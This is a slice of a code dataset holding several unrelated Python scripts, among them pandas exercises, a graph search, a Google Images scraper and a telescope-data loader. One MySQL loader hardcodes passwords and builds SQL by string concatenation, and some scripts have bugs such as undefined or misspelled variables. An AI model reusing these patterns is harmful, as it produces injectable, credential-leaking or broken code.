foobar\\n\"\n \"-----BEGIN META-----\"\n \"account=init0\\n\"\n \"memokey=PPY6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV\\n\"\n \"block=6615231\\n\"\n \"timestamp=2018-01-24T10:48:00\\n\"\n \"-----BEGIN SIGNATURE-----\"\n \"204c9f6ef77f5f13e0c94eed16a25a9ffaef794fef4b8101e0f0728e5cc962a0126e650d7d611b88ef8ae2eb9c486e6b8352cc13510b68beb588b3639a55faf2b9\\n\"\n \"-----END PEERPLAYS SIGNED MESSAGE-----\\n\"\n \"\\n\\n\\n\"\n ).verify()\n","sub_path":"tests/test_message.py","file_name":"test_message.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"214461932","text":"# Pandas\n# High Level Data Manipulation Tool\n# It is built on Numpy Package\nimport pandas as pd\nbrics = pd.read_csv(\"Datasets/brics.csv\", index_col = 0)\nprint(brics)\n\n# Dictionary to DataFrame\n# Pandas is an open source library, providing high-performance, easy-to-use data structures and data analysis tools for Python. Sounds promising!\n\n# The DataFrame is one of Pandas' most important data structures. It's basically a way to store tabular data where you can label the rows and the columns. One way to build a DataFrame is from a dictionary.\n\n# In the exercises that follow you will be working with vehicle data from different countries. Each observation corresponds to a country and the columns give information about the number of vehicles per capita, whether people drive left or right, and so on.\n\n# Three lists are defined in the script:\n\n# names, containing the country names for which data is available.\n# dr, a list with booleans that tells whether people drive left or right in the corresponding country.\n# cpc, the number of motor vehicles per 1000 people in the corresponding country.\n# Each dictionary key is a column label and each value is a list which contains the column elements.\n\n# Pre-defined lists\nnames = ['United States', 'Australia', 'Japan', 'India', 'Russia', 'Morocco', 'Egypt']\ndr = [True, False, False, False, True, True, True]\ncpc = [809, 731, 588, 18, 200, 70, 45]\n\n# Import pandas as pd\nimport pandas as pd\n\n# Create dictionary my_dict with three key:value pairs: my_dict\nmy_dict = {'country': names, 'drives_right': dr, 'cars_per_cap': cpc}\n\n# Build a DataFrame cars from my_dict: cars\ncars = pd.DataFrame(my_dict)\n\n# Print cars\nprint(cars)\n\n# Have you noticed that the row labels (i.e. the labels for the different observations) were automatically set to integers from 0 up to 6?\n\n# Definition of row_labels\nrow_labels = ['US', 'AUS', 'JPN', 'IN', 'RU', 'MOR', 'EG']\n\n# Specify row labels of cars\ncars.index = row_labels\n\n# Print cars again\nprint(cars)\n\n# Importing cars.csv to DataFrame\n\n# Fix import by including index_col\ncars = pd.read_csv('Datasets/cars.csv', index_col = 0)\n\n# Print out cars\nprint(cars)","sub_path":"Basics/97_Pandas_Starter_01.py","file_name":"97_Pandas_Starter_01.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"168397534","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport MySQLdb as mdb\n\n''''\nThis script is for loading RS tables to the database\nYou have to specify a file path containing the rs table.\nusage: ./mysql_LOAD_RS.py [/mydir/motifdir/ect.../rs.txt]\n'''\n\n\n#con = mdb.connect('localhost', 'root', 'sql04CP', 'testdb');\ncon = mdb.connect('localhost', 'testuser', 'test623','testdb');\n\n\nfin = open(sys.argv[1])\n\nfor line in fin:\n b=line.split()\n b[39],b[40]=str(float(b[39][:-1])/100),str(float(b[40][:-1])/100) #A szazalekos adatokat alakitjuk 0-1ig floatta\n del b[1:22] #kiszedjuk a TFBS_ID altal mar meghatarozott redundans elemeket.\n a=\"','\".join(b)\n #print('\\n'+a)\n with con:\n cur = con.cursor()\n cur.execute(\"INSERT INTO RS VALUES (\"+\"'\"+a+\"'\"+\")\")","sub_path":"mysql_LOAD_RS.py","file_name":"mysql_LOAD_RS.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"511810496","text":"import math\n\ndef calc(p1, p2, h, V, a):\n g = 9.80665\n pi = 3.14159\n rad = a * pi/180.0\n vx = V * math.cos(rad)\n vy = V * math.sin(rad)\n t = vy + math.sqrt(pow(vy, 2) + 2 * g * h)\n max = t * vx / g\n if max < p2 + 1e-9 and max > p1 - 1e-9:\n print (\"%.5f\" % max, \"-> DUCK\")\n else: \n print (\"%.5f\" % max, \"-> NUCK\")\n\n\nwhile True:\n try:\n h = float (input())\n line = input()\n p1, p2 = [int(n) for n in line.split()]\n j = int (input())\n for i in range (j):\n line = input()\n a, V = [float(n) for n in line.split()]\n calc (p1, p2, h, V, a)\n except EOFError:\n break\n\n# https://www.youtube.com/watch?v=l7IOHyt5zsM (visto em 18/04/2020)","sub_path":"URI/Python/Matematica/URI1163.py","file_name":"URI1163.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"225540526","text":"\"\"\"\nMulti-tags correlation\n\nInput:\nuid_list(list):[uid], uid: the user id of tager users.\ntag(dictonary):{uid:{word:weight}.\n\nOutput:\ntag_list(list)[tag_i] tags for each target user.\ntag_dict(dictonary)[tag_i:index] assign unique index for each tag. \ninner(dictonary){tag_j:{tag_k:N-LIR(tag_j,tag_k)},inner correlation between tags.\nouter(dictonary){tag_j:{tag_k:N-LOR(tag_j,tag_k)},outer correlation between tags.\n\"\"\"\nimport numpy as np \n\ndef get_tag_list():\n tag_list = set()\n for u in tag.keys():\n for i in tag[u].keys():\n tag_list.add(i)\n tag_list = list(tag_list)\n n = len(tag_list)\n tag_dict = {}\n for i in range(0,n): \n tag_dict[tag_list[i]] = i\n return tag_list,tag_dict\n\n#compute inner correlation\ndef get_inner():\n n = len(tag_list)\n inner = {} \n count = {}\n for i in range(0,n):\n inner[i] = {}\n inner[i][i] = 0\n count[i] = {}\n count[i][i] = 1\n ##compute LIR(innter)\n for i in tag.keys():\n for item1 in tag[i].keys():\n for item2 in tag[i].keys():\n if item1==item2:\n continue\n j = tag_dict[item1]\n k = tag_dict[item2]\n if k not in inner[j]:\n inner[j][k] = 0\n count[j][k] = 0\n inner[j][k] += (tag[i][item1] * tag[i][item2]) /(tag[i][item1] + tag[i][item2]-tag[i][item1] * tag[i][item2])\n count[j][k] += 1 \n s = {}\n for i in range(0,n):\n s[i] = 0\n for j in inner[i].keys():\n if count[i][j]!=0:\n inner[i][j] /= count[i][j]\n s[i] += inner[i][j] \n ##normalization N-LIR(inner)\n for i in range(0,n):\n for j in inner[i].keys():\n if i==j:\n inner[i][j] = 1\n else:\n inner[i][j] /= s[j]\n return inner\n\n#compute outer correlation\ndef get_outer():\n outer = {}\n count = {}\n user_list = list(tag.keys())\n ##compute LOR\n for u1 in range(0,len(user_list)):\n for u2 in range(u1+1,len(user_list)):\n s1 = set(tag[user_list[u1]].keys())\n s2 = set(tag[user_list[u2]].keys())\n con =s1 & s2 \n if len(con) < 1:\n continue\n for item1 in s1-con:\n j = tag_dict[item1]\n if j not in outer:\n outer[j] = {}\n count[j] = {}\n for item2 in s2-con:\n k = tag_dict[item2]\n if k not in outer:\n outer[k] = {}\n count[k] = {}\n if j not in outer[k]:\n outer[k][j] = 0\n count[k][j] = 0\n if k not in outer[j]:\n outer[j][k] = 0\n count[j][k] = 0\n for item3 in con:\n q = tag_dict[item3]\n outer[j][k] += min(inner[j][q],inner[k][q])\n outer[k][j] = outer[j][k]\n count[j][k] += 1\n count[k][j] = count[j][k]\n ##normalization LOR \n for i in outer.keys():\n for j in outer[i].keys():\n outer[i][j] /= count[i][j]\n return outer\n\n\nif __name__ == '__main__':\n #load uid_list\n for uid in uid_list:\n #load tag\n tag_list,tag_dict = get_tag_list()\n innter = get_inner()\n outer = get_outer()","sub_path":"Baselines/ITCAUSR/multi-tags_correlation.py","file_name":"multi-tags_correlation.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"610484045","text":"# -*- coding: utf-8 -*-\nimport sys\nfrom collections import deque\nimport time\nfrom functools import reduce\nimport operator\n\nedges = []\nnvertices = 0\nnedges = 0\nx_list = []\nnvertices, nedges = 10000, 40000\nx_list = []\nprocessed = [False for i in range(nvertices + 1)]\ndiscovered = [False for i in range(nvertices + 1)]\nparent = [-1 for i in range(nvertices + 1)]\n\ndef add_wo_carry( n1, n2):\n \"\"\"\n Add two integer strings of same length without carry\n >>> add_wo_carry('9876', '5432')\n '0008'\n \"\"\"\n l1 = [int(x) for x in str(n1)]\n l2 = [int(x) for x in str(n2)]\n res1 = map(operator.add, l1, l2)\n res2 = [str(x)[-1] for x in res1]\n return \"\".join(res2)\n\ndef sub_wo_carry(n1, n2):\n \"\"\"\n Substract two integer strings of same length without carry\n >>> sub_wo_carry('9007', '1234')\n '8873'\n \"\"\"\n l1 = [int(x)+10 for x in str(n1)]\n l2 = [int(x) for x in str(n2)]\n res1 = map(operator.sub, l1, l2)\n res2 = [str(x)[-1] for x in res1]\n return \"\".join(res2)\n\ndef wheel( num):\n \"\"\"List of numbers reachable from num with only one button press\n >>> neighbours('0234')\n ['0235', '0244', '0334', '1234', '0233', '0224', '0134', '9234']\n \"\"\"\n num = str(num)\n num = '0'*(4-len(num))+num # Prepend 0 until length is 4\n\n return [\n int(add_wo_carry(num, '0001')),\n int(add_wo_carry(num, '0010')),\n int(add_wo_carry(num, '0100')),\n int(add_wo_carry(num, '1000')),\n int(sub_wo_carry(num, '0001')),\n int(sub_wo_carry(num, '0010')),\n int(sub_wo_carry(num, '0100')),\n int(sub_wo_carry(num, '1000'))]\n\ndef initialize_search(x_list):\n nvertices, nedges = 10000, 40000\n x_list = x_list\n processed = [False for i in range(nvertices + 1)]\n discovered = [False for i in range(nvertices + 1)]\n parent = [-1 for i in range(nvertices + 1)]\n\ndef bfs( start, end):\n q = deque([start])\n discovered[start] = True\n while q:\n v = q.popleft()\n if v not in x_list:\n processed[v] = True\n neigh = wheel(v)\n for y in neigh:\n if (not discovered[y]) and (y not in x_list):\n discovered[y] = True\n parent[y] = v\n if y == end:\n return\n q.append(y)\n\ndef find_path( start, end, count = 0):\n if start == end:\n return count\n if end == -1:\n return -1\n else:\n return find_path(start, parent[end], count + 1)\n\ndef load_num():\n num_read = sys.stdin.readline()\n if num_read == \"\\n\":\n num_read = sys.stdin.readline()\n return int(num_read.replace(\" \",\"\").rstrip())\n\ndef load_next_test():\n start = load_num()\n end = load_num()\n n_restrictions = load_num()\n restrictions = [load_num() for i in range(n_restrictions)]\n return start, end, restrictions\n\nncase = load_num()\nflag = True\nfor n in range(ncase):\n st = time.time()\n start, end, x_list = load_next_test()\n initialize_search(x_list)\n bfs(start, end)\n print(find_path(start, end))\n","sub_path":"5_Graph_Traversal/uva/wheel.py","file_name":"wheel.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"240951667","text":"# -*- coding: utf-8 -*-\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\n#import urllib2 #python2\nimport urllib.request\nimport urllib.parse as parse #python3\nimport os\n#import cookielib\nimport json\n\nimport argparse\n\n#args = sys.argv\nparser = argparse.ArgumentParser(description='This script download files from photo_kura.')\nparser.add_argument('kwd', \\\n action='store', \\\n nargs='?', \\\n const=\"red apple\", \\\n default=\"red apple\", \\\n type=str, \\\n choices=None, \\\n help='Keyword to search photos.', \\\n metavar=None)\n\nparser.add_argument('dir', \\\n action='store', \\\n nargs='?', \\\n const=\"./Pictures_google\", \\\n default=\"./Pictures_google\", \\\n type=str, \\\n choices=None, \\\n help='Directory path where your taken photo files are located.', \\\n metavar=None)\n\nargs = parser.parse_args()\n\ndef get_soup(url,header):\n return BeautifulSoup(urllib.request.urlopen(urllib.request.Request(url,headers=header)),'html.parser')\n #return BeautifulSoup(urllib2.urlopen(urllib2.Request(url,headers=header)),'html.parser')\n\nquery_org = args.kwd\nlabel=\"0\"\nprint(query_org)\n\n#query= query.split()\n#query='+'.join(query)\nquery = parse.quote_plus(query_org)\n\nurl=\"https://www.google.co.in/search?q=\"+query+\"&source=lnms&tbm=isch\"\nprint(url)\n#add the directory for your image here\n#DIR=\"Pictures_google\"\nDIR=args.dir\nheader={'User-Agent':\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36\"\n}\nsoup = get_soup(url,header)\n\nActualImages=[]# contains the link for Large original images, type of image\nfor a in soup.find_all(\"div\",{\"class\":\"rg_meta\"}):\n link , Type =json.loads(a.text)[\"ou\"] ,json.loads(a.text)[\"ity\"]\n ActualImages.append((link,Type))\n\nprint(\"there are total\" , len(ActualImages),\"images\")\n\nif not os.path.exists(DIR):\n os.mkdir(DIR)\nDIR = os.path.join(DIR, query_org.split()[0])\n\nif not os.path.exists(DIR):\n os.mkdir(DIR)\n###print images\nfor i , (img , Type) in enumerate(ActualImages):\n try:\n req = urllib.request.Request(img,data=None,headers=header)\n #req = urllib2.Request(img, headers={'User-Agent' : header}) #python2\n response = urllib.request.urlopen(req)\n raw_img = response.read()\n #raw_img = urllib2.urlopen(req).read() #python2\n\n cntr = len([i for i in os.listdir(DIR) if label in i]) + 1\n print(cntr)\n if len(Type)==0:\n f = open(os.path.join(DIR , label + \"_\"+ str(cntr)+\".jpg\"), 'wb')\n else :\n f = open(os.path.join(DIR , label + \"_\"+ str(cntr)+\".\"+Type), 'wb')\n\n f.write(raw_img)\n f.close()\n except Exception as e:\n print(\"could not load : \"+img)\n print(e)\n","sub_path":"google_download.py","file_name":"google_download.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"310177247","text":"import torch as torch\nfrom torch.utils import data\nimport copy\nimport pandas as pd\nimport numpy as np\nimport DataProcessingFunction as DPF\n\nimport DataOption as DataOption\nimport MagicDataset as MD\n\nfrom matplotlib import pyplot as plt\nimport torch.optim as optim\nimport time as time\n\nfrom sklearn import metrics as metrics\n\n\nclass DataHandler(object):\n \"\"\"\n Loads and Handles Magic Data\n\n Constructor:\n maxFilesGamma\n maxFilesProton\n gammaFileName Gamma file name without file number\n protonFileName Proton file name without file number\n startAtFile_Gamma=0\n startAtFile_Proton=0\n telSizeX=39: Pixel width of telescope\n telSizeY=34 Pixel height of telescope\n\n \"\"\"\n\n def __init__(self, telescope_ids, data_option=DataOption.mono,\n regressor_columns=None, time_channel=False, pixnum=1039, timing_info=True):\n\n \"\"\"\n :param telescope_ids: list/tuple of telescopes to use\n :param mono_in_multi_telescope_telescope: Select only telescope #mono_in_multi_telescope_telescope in data,\n -1 for use all telescopes\n :param keepInfoColumns: ['particleID','energy','altitude','azimuth','core_x','core_y','h_first_int','x_max']\n \"\"\"\n\n self.energy_filter = False\n self.energy_filter_min = 0\n self.energy_filter_max = 10000\n\n # maxFilesGamma, maxFilesProton, gammaFileName, protonFileName, startAtFile_Gamma=0,\n # startAtFile_Proton=0, telSizeX=39, telSizeY=34, stereo = False, mono_in_stereo_data_telescope=-1,\n # keepInfoColumns = None):\n self.timing_info = timing_info\n self.start_columns = 8\n self.mc_info_columns = self.start_columns # len(keepInfoColumns) # might need to be changed, not sure though\n self.data_is_selected = False\n\n self.telescope_ids = telescope_ids\n self.data_option = data_option\n self.time_channel = time_channel\n\n self.colList = ['particleID', 'energy', 'altitude', 'azimuth', 'core_x', 'core_y', 'h_first_int',\n 'pointing_alt', 'pointing_az', 'pos_in_cam_x', 'pos_in_cam_y', 'event_tel_alt', 'event_tel_az']\n\n self.col_list_base_info = ['particleID', 'energy', 'altitude', 'azimuth', 'core_x', 'core_y', 'h_first_int',\n 'pointing_alt', 'pointing_az', 'pos_in_cam_x', 'pos_in_cam_y', 'event_tel_alt',\n 'event_tel_az']\n\n self.end_columns = [\"min_val\", \"max_val\"]\n\n self.info_col_num = len(self.col_list_base_info)\n self.pixnum = pixnum # get as parameter?\n\n self.telescope_data_position_map = {}\n # Images\n for i in range(1, len(self.telescope_ids) + 1):\n # Add Columns to colList\n imagename = \"i_M\" + str(i)\n\n for x in range(0, self.pixnum):\n self.colList.append(imagename + \"_\" + str(x))\n\n # Add data location information to location list\n self.telescope_data_position_map[imagename] = (imagename + \"_0\", imagename + '_' + str(self.pixnum - 1))\n\n # Timing\n for i in range(1, len(self.telescope_ids) + 1):\n # Add Columns to colList\n peakname = \"p_M\" + str(i)\n\n for x in range(0, self.pixnum):\n self.colList.append(peakname + \"_\" + str(x))\n\n # Add data location information to location list\n self.telescope_data_position_map[peakname] = (peakname + \"_0\", peakname + '_' + str(self.pixnum - 1))\n\n self.colList = self.colList + self.end_columns\n self.c_dataframe = pd.DataFrame(columns=self.colList)\n\n print(self.c_dataframe.columns)\n print(\"Columns finished\")\n\n self.regressor_columns = regressor_columns\n\n\n def set_energy_filter(self, energy_filter_min=0, energy_filter_max=10000, energy_mult_factor=1):\n \"\"\"\n Sets the energy filter to only select events between energy_filter_min and energy_filter_max with the\n energy_mult_factor multiplied with the min and max value.\n\n\n :param energy_filter_min:\n :param energy_filter_max:\n :param energy_mult_factor:\n :return:\n \"\"\"\n self.energy_filter = True\n self.energy_filter_min = energy_filter_min * energy_mult_factor\n self.energy_filter_max = energy_filter_max * energy_mult_factor\n\n def load_files_and_save(self, file_name, max_num_files=1, start_at_file=0,\n overwrite_particle_id=-10, given_columns=None, path=\"\", max_per_file=1000, csv_start_num=0,\n transform=False):\n \"\"\"\n Loads files and saves them after transforming/ applying other operations like energy filtering etc.\n\n :param file_name: file name to load without file number and .csv ending\n :param max_num_files: maximum number of files to load\n :param start_at_file: file number to start loading at\n :param overwrite_particle_id: whether to overwrite the particle ID with this number, -10 if do not overwrite\n :param given_columns: Information columns given in the file, should correspond to columns defined in this class\n :param path: Path to save new files to\n :param max_per_file: Maximum Number of Events per File\n :param csv_start_num: Start Saving at this number\n :param transform: Transform the data with 3i and 5 (see documentation for these two function)\n\n \"\"\"\n\n if given_columns is None:\n colList2 = self.col_list_base_info + self.colList[self.info_col_num:]\n else:\n colList2 = given_columns + self.colList[self.info_col_num:]\n # print(\"12000: \",colList2)\n\n g_dataframe = pd.read_csv(\n file_name + str(start_at_file) + \".csv\",\n sep=\",\",\n names=colList2,\n index_col=None,\n header=None)\n # g_dataframe['pID'] = g_dataframe['pID'].map(lambda x: 1)\n # header = None)\n # header=0)\n print(\"Loaded file \", file_name + str(start_at_file) + \".csv\")\n if self.energy_filter:\n g_dataframe = self.clip_by_energy_df(g_dataframe, self.energy_filter_min, self.energy_filter_max)\n if transform:\n g_dataframe = g_dataframe.apply(DPF.process_data3_i, axis=1, args=(self.info_col_num, self.pixnum))\n g_dataframe = g_dataframe.apply(DPF.process_data5, axis=1, args=[self.info_col_num])\n\n maxFileNum = start_at_file + max_num_files\n n = start_at_file + 1\n\n while n < maxFileNum:\n a_dataframe = pd.read_csv(\n file_name + str(n) + \".csv\",\n sep=\",\",\n names=colList2)\n # header=None)\n # a_dataframe['pID'] = a_dataframe['pID'].map(lambda x: 1)\n if self.energy_filter:\n a_dataframe = self.clip_by_energy_df(a_dataframe, self.energy_filter_min, self.energy_filter_max)\n if transform:\n a_dataframe = a_dataframe.apply(DPF.process_data3_i, axis=1, args=(self.info_col_num, self.pixnum))\n a_dataframe = a_dataframe.apply(DPF.process_data5, axis=1, args=[self.info_col_num])\n # print(len(g_dataframe), \" EFFEL \", len(a_dataframe))\n g_dataframe = pd.concat([g_dataframe, a_dataframe], ignore_index=True, axis=0)\n print(len(g_dataframe), \" R \")\n # print(\"Loaded file \", file_name + str(n) + \".csv\")\n n += 1\n if len(g_dataframe) > max_per_file:\n g_dataframe = self.save_as_csv_part(g_dataframe, path=path, max_per_file=max_per_file,\n csv_start_num=csv_start_num)\n csv_start_num += 1\n\n if overwrite_particle_id != -10:\n g_dataframe.loc[:, \"particleID\"] = overwrite_particle_id\n\n # Add missing columns\n for i in range(len(self.colList[:self.info_col_num])):\n if self.colList[i] in colList2:\n pass\n else:\n g_dataframe.insert(i, self.colList[i], [0 for m in range(len(g_dataframe))])\n\n #return g_dataframe\n\n def save_as_csv_part(self, g_dataframe, path, max_per_file=1000, csv_start_num=0):\n \"\"\"\n Saves part of dataframe to csv file. Starts at the beginning of the file until max_per_file events are saved\n\n :param g_dataframe: dataframe to save from\n :param path: Path to save new files to\n :param max_per_file: Maximum Number of Events per File\n :param csv_start_num: Start Saving at this number\n :return:\n \"\"\"\n print(\"Len1: \", len(g_dataframe))\n d_dataframe = g_dataframe.iloc[: max_per_file]\n d_dataframe.to_csv(path + str(csv_start_num) + \".csv\", index=False, header=None)\n g_dataframe = g_dataframe.tail(len(g_dataframe) - max_per_file)\n print(\"Len2: \", len(g_dataframe))\n return g_dataframe\n\n def save_as_csv(self, path, max_per_file=1000, csv_start_num=0):\n \"\"\"\n Saves whole dataframe to .csv files.\n :param path: Path to save new files to\n :param max_per_file: Maximum Number of Events per File\n :param csv_start_num: Start Saving at this number\n :return:\n \"\"\"\n datnum = len(self.c_dataframe)\n\n if datnum < max_per_file:\n self.c_dataframe.to_csv(path + \"0.csv\", index=False, header=None)\n return True\n\n filenum = csv_start_num\n cdatnum = max_per_file\n while cdatnum < datnum:\n self.c_dataframe.iloc[cdatnum - max_per_file: cdatnum].to_csv(path + str(filenum) + \".csv\", index=False,\n header=None)\n cdatnum += max_per_file\n filenum += 1\n\n self.c_dataframe.iloc[cdatnum - max_per_file:].to_csv(path + str(filenum) + \".csv\", index=False, header=None)\n\n def clip_by_energy(self, min_energy, max_energy):\n \"\"\"\n Performs the energy clipping\n :param min_energy: lower energy bound\n :param max_energy: higher energy bound\n :return:\n \"\"\"\n self.c_dataframe = self.c_dataframe.loc[self.c_dataframe[\"energy\"] > min_energy, :]\n self.c_dataframe = self.c_dataframe.loc[self.c_dataframe[\"energy\"] < max_energy, :]\n print(\"Energy clipped to [\", min_energy, \",\", max_energy, \"]\")\n print(\"After clipping containts \", len(self.c_dataframe), \" entries.\")\n\n def __len__(self):\n \"\"\"\n Returns the number of events in the DataHandler object.\n :return: number of events in the DataHandler object\n \"\"\"\n return len(self.c_dataframe)\n\n def transform_data(self, transformation_function, extra_columns=[\"t_min\", \"t_max\"]):\n \"\"\"\n Transform Data to with transformation function, add min and max value columns\n :param transformation_function:\n :param extra_columns:\n :return:\n \"\"\"\n self.c_dataframe.reindex(columns=[*self.c_dataframe.columns.tolist(), *extra_columns])\n self.c_dataframe = self.c_dataframe.apply(transformation_function, axis=1)\n\n def bin_select_energy(self, bin_start, bin_end):\n \"\"\"\n Selects data into energy bin\n :param bin_start: Start of Energy Bin\n :param bin_end: End of Energy Bin\n :return:\n \"\"\"\n self.c_dataframe = self.c_dataframe.loc[self.c_dataframe[\"energy\"] > bin_start, :]\n self.c_dataframe = self.c_dataframe.loc[self.c_dataframe[\"energy\"] < bin_end, :]\n # print(self.c_dataframe)\n print(\"Remaining Data: \", self.c_dataframe[\"particleID\"].value_counts())\n plt.hist(self.c_dataframe[\"energy\"])\n\n def sum_pixels(self, idx):\n \"\"\"\n Sums up all pixel in event in brightness image\n :param idx:\n :return:\n \"\"\"\n row = self.c_dataframe.iloc[idx, self.mc_info_columns:].to_numpy()\n return sum(row)\n\n def add_files(self, max_files, file_name, start_at_file=0, overwrite_particle_id=-10, given_columns=None,\n save_while_loading=False, path='', max_per_file=1000, csv_start_num=0, transform=False):\n \"\"\"\n Add files to the DataHandler Object\n :param max_files:\n :param file_name:\n :param start_at_file:\n :param overwrite_particle_id:\n :param given_columns:\n :param save_while_loading: Save to new files\n :param path: Path to save new files to\n :param max_per_file: Maximum Number of Events per File\n :param csv_start_num: Start Saving at this number\n :param transform: Whether it sould be transformed or not\n :return:\n \"\"\"\n # if particle_id == 0:\n # adatf = self.loadProtonFiles(file_name, max_files, start_at_file)\n # elif particle_id == 1:\n # adatf = self.loadGammaFiles(file_name, max_files, start_at_file)\n\n if save_while_loading:\n adatf = self.load_files_and_save(file_name, max_files, start_at_file,\n overwrite_particle_id, given_columns=given_columns, path=path,\n max_per_file=max_per_file, csv_start_num=csv_start_num,\n transform=transform)\n else:\n adatf = self.load_files(file_name, max_files, start_at_file,\n overwrite_particle_id, given_columns=given_columns)\n\n # add to existing c_dataframe\n self.c_dataframe = pd.concat([self.c_dataframe, adatf], ignore_index=True, axis=0)\n\n def filter_data(self, is_simtel=False, is_pedestal=False):\n # Replace all NaN\n self.c_dataframe = self.c_dataframe.fillna(0) # self.c_dataframe =s\n # remove negative values for magic sim only\n if not is_simtel:\n cols = self.c_dataframe.columns[self.info_col_num: self.info_col_num + 2 * self.pixnum]\n self.c_dataframe[cols] = self.c_dataframe[cols].clip(lower=0)\n # remove all pixel with time values above 50 or below 10\n\n # get all pixel with wrong time value\n minm_t = 11.4375\n maxm_t = 60\n mask = (self.c_dataframe.iloc[:,\n self.info_col_num + 2 * self.pixnum:self.info_col_num + 4 * self.pixnum] < minm_t) | (\n self.c_dataframe.iloc[:,\n self.info_col_num + 2 * self.pixnum:self.info_col_num + 4 * self.pixnum] > maxm_t)\n self.c_dataframe.loc[:, mask.columns] = self.c_dataframe.loc[:, mask.columns].mask(mask, other=minm_t)\n # remove all pixel with wrong time value in image domain\n mask.columns = self.c_dataframe.columns[self.info_col_num:self.info_col_num + 2 * self.pixnum]\n self.c_dataframe.loc[:, mask.columns] = self.c_dataframe.loc[:, mask.columns].mask(mask,\n other=0) # , inplace=False, axis=None, level=None, errors='raise', try_cast=False)[source]\n\n # remove too high values in pedestals?\n\n def select_data(self):\n \"\"\"\n Randomizes Data - Depreceated, just call randomizeData()\n \"\"\"\n self.randomizeData()\n\n def randomizeData(self):\n \"\"\"\n Randomizes Data\n \"\"\"\n self.c_dataframe = self.c_dataframe.reindex(np.random.permutation(self.c_dataframe.index))\n print(\"Randomized\")\n\n def get_whole_dataset(self):\n \"\"\"\n Returns whole Dataset as MagicDataset\n :return: MagicDataset containing whole data\n \"\"\"\n return MD.MagicDataset(self.c_dataframe, data_option=self.data_option,\n telescope_data_position_map=self.telescope_data_position_map,\n regressor_columns=self.regressor_columns)\n\n def getTrainAndValidationDataset(self, percentTrain, percentValidation):\n \"\"\"\n Returns Train and Validation Set of data with each percentage\n :param percentTrain: Not percentage but factor < 1, might not be used currently, only percentValidation works\n :param percentValidation: Not percentage but factor < 1\n :return: MagicDataset containing whole data\n \"\"\"\n # Split Data\n datLength = self.c_dataframe.count()[0]\n valnum = int(round(percentValidation * datLength))\n # print(testnum)\n # Split 20% test, 80% train\n train_datf = self.c_dataframe.head(datLength - valnum)\n test_datf = self.c_dataframe.tail(valnum)\n\n print(\"Data split: Train: \", len(train_datf), \" Test: \", len(test_datf))\n\n return MD.MagicDataset(train_datf, data_option=self.data_option,\n telescope_data_position_map=self.telescope_data_position_map,\n regressor_columns=self.regressor_columns), \\\n MD.MagicDataset(test_datf, data_option=self.data_option,\n telescope_data_position_map=self.telescope_data_position_map,\n regressor_columns=self.regressor_columns)\n\n def get_suiting_magic_dataset_for_dataset(self, dataset):\n \"\"\"\n Returns MagicDataset based on Pandas Dataframe\n :param dataset: Pandas Dataframe\n :return:\n \"\"\"\n return MD.MagicDataset(dataset, self.data_option, telescope_data_position_map=self.telescope_data_position_map)\n\n def getTestDataset(self, percent):\n \"\"\"\n\n Returns MagicDataset with percentage from the end\n :param dataset: <1 factor, not percentage from the end to include in MagicDataset\n :return:\n\n \"\"\"\n return MD.MagicDataset(self.c_dataframe.tail(percent*len(self.c_dataframe)), self.data_option, telescope_data_position_map=self.telescope_data_position_map)\n\n def clip_by_energy_df(self, df, min_energy, max_energy):\n \"\"\"\n Clip Dataframe by energy\n :param df: Pandas Dataframe\n :param min_energy: lower energy bound\n :param max_energy: higher energy bound\n :return:\n \"\"\"\n lenbefore = len(df)\n df = df.loc[df[\"energy\"] > min_energy, :]\n df = df.loc[df[\"energy\"] < max_energy, :]\n print(\"Energy clipped to [\", min_energy, \",\", max_energy, \"]\")\n print(\"After clipping contains \", len(df), \" out of \", lenbefore, \" entries.\")\n return df\n\n def load_files(self, file_name, max_num_files=1, start_at_file=0,\n overwrite_particle_id=-10, given_columns=None):\n \"\"\"\n Function that handles the loading of files.\n :param file_name:\n :param max_num_files:\n :param start_at_file:\n :param overwrite_particle_id:\n :param given_columns:\n :return:\n \"\"\"\n\n if given_columns is None:\n colList2 = self.col_list_base_info + self.colList[self.info_col_num:]\n else:\n colList2 = given_columns + self.colList[self.info_col_num:]\n # print(\"12000: \",colList2)\n\n g_dataframe = pd.read_csv(\n file_name + str(start_at_file) + \".csv\",\n sep=\",\",\n names=colList2,\n index_col=None,\n header=None)\n # g_dataframe['pID'] = g_dataframe['pID'].map(lambda x: 1)\n # header = None)\n # header=0)\n print(\"Loaded file \", file_name + str(start_at_file) + \".csv\")\n if self.energy_filter:\n g_dataframe = self.clip_by_energy_df(g_dataframe, self.energy_filter_min, self.energy_filter_max)\n\n # energy, particleID, altitude, azimuth, core_x, core_y, h_first_int, x_max\n maxFileNum = start_at_file + max_num_files\n n = start_at_file + 1\n\n while n < maxFileNum:\n a_dataframe = pd.read_csv(\n file_name + str(n) + \".csv\",\n sep=\",\",\n names=colList2)\n # header=None)\n # a_dataframe['pID'] = a_dataframe['pID'].map(lambda x: 1)\n\n g_dataframe = pd.concat([g_dataframe, a_dataframe], ignore_index=True, axis=0)\n print(\"Loaded file \", file_name + str(n) + \".csv\")\n if self.energy_filter:\n g_dataframe = self.clip_by_energy_df(g_dataframe, self.energy_filter_min, self.energy_filter_max)\n n += 1\n if overwrite_particle_id != -10:\n g_dataframe.loc[:, \"particleID\"] = overwrite_particle_id\n\n 